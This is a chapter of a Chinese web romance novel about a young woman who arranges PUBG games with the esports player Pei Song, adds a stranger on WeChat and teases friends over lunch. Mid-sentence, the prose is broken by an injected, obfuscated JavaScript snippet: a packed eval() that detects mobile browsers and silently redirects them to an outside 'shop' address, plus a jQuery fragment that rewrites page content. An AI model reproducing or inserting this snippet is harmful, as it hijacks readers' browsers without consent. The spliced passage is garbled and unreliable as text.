不给秦南枝反应时间,裴颂进一步加码。 “两个月包你KDA上2,但是我平时工作忙,打游戏的时间需要我来定。” 的确诱人,秦南枝恨不得马上答应。 但是! 一个巨大的问号陡然砸进她兴奋的脑子里,她歪着头,手指无意识地卷着耳机线:“你为什么不直接给钱啊?” 秦南枝不懂他的脑回路,他俩又不熟,花钱挂号不是最干脆利落、谁也不欠谁的办法吗? 耳机里沉默了几秒。 “人情债不好拿钱还。而且……”裴颂顿了顿:“你不是一直想找我打游戏吗?” “这样啊……” 说不清楚,他给出的理由让秦南枝有点点小失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911142|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,难道是因为他太明晃晃的表达出了对自己没意思? “那可以加微信不?”不好意思,她秦南枝就是这么一个顺杆爬、得寸进尺的女人。 foglia很痛快给出了一串意义不明的字母,里面她唯一认识的是song。 秦南枝判断,这人或许是她正牌老公裴颂的粉丝。男的追起星来,可比女生疯狂多了。 她大学室友的男朋友,为了去参加一个篮球明星在中国线下的见面会,提前三天带着帐篷纸尿裤就去排队了。 加上微信好友后,秦南枝一条消息没发,直接点进了foglia的朋友圈。 看着那空空如也的朋友圈,她轻哼一声,十分不屑一顾。 他用小号、她屏蔽朋友圈,大家扯平了。 她截了个跟foglia的聊天截图,发到闺蜜群。 枝枝喳喳:一不小心就找到了平替老公,我们成功女人想要的就一定会得到。 赵若月:开盲盒容易开出返祖大野猪。 这个死赵若月,一点好话不会说! 七七糖的表达则委婉得多。 她先发了一个链接过来,秦南枝打开一看,是今年PCL所有参赛战队的选手出发公式照。 打眼一扫,嗯……长得各有千秋吧,说不准他们内心善良呢? 七七糖:你正牌老公帅得不是一个画风。 七七糖:但姐妹作为过来人提醒你,网恋别动真感情。 秦南枝不屑,都以为她傻吗?她怎么可能那么肤浅?加好友可不是为了网恋,她从来没忘记跟Zero1的百日之约。 总有一天,她会踩着Zero1的盒子,让puffzz这个ID响彻整个绝地求生。 既然答应替人搞到黄主任的号,秦南枝就半点不敢耽误。 上次麻烦赵若霖帮忙是在饭桌上,从小的家教告诉她,求人办事可不能空着手。 于是第二天一早秦南枝就爬起来烤蛋糕,赶着中午到了安和医院,约赵若霖在附近吃午饭。 赵若霖一点不跟她客气,菜还没上来就把蛋糕拆开了。他咬着勺子,若有所思:“你这跑前跑后的,不会上杆子给人当舔狗吧?” 就知道赵家这兄妹俩嘴里吐不出象牙!碍于赵若霖女朋友也在,秦南枝不好直接骂人。 “没有啊,就是朋友帮忙。”秦南枝白他一眼:“狗眼里看谁都是狗,你说是吧?” “嘿!”赵若霖恼羞成怒:“小丫头片子你哥还管不了你了?” 看自己男朋友吃瘪,翁淼淼反而捂嘴笑了起来,还替秦南枝说话:“枝枝说的对,我们枝枝这么漂亮的女生,肯定是要男生追的。枝枝喜欢什么样的男生?” 翁淼淼指了指医院的方向,低声道:“最近新来了几个年轻医生,条件都不错,要不要给你介绍?” 秦南枝连连摆手:“不好意思淼淼姐,碍于某些人对我造成的心理阴影,我肯定不会选择医生作为另一半的。” 赵若霖太爷爷是中医出身,家里有一套比她胳膊都长的金针,小时候赵若月和秦南枝缠着赵若霖跟她俩玩洋娃娃,赵若霖就拿针吓唬人。 直接导致秦南枝长这么大不敢打针,见针头就发晕。让她跟医生谈恋爱,那不是把老鼠扔进猫窝吗? “切——”在熟人面前,赵若霖没一点正形:“那你喜欢什么类型的?赵若月你俩高中不还追什么韩国欧巴?” 秦南枝点亮手机,屏保正是裴颂喝饮料时的抓拍,源自俱乐部在基地直播时被粉丝截下的神图。 跟裴颂一贯的冷脸不同,这张照片里,笑意从他微扬的眼尾漫开,浸透了素来清冷的眸子,连唇角勾起的弧度都透着罕见的鲜活,脸上是挡不住的张扬少年气。 “睁大你的眼睛好好看看!”秦南枝也不知哪来的自信,一派与有荣焉:“这才是我老公!”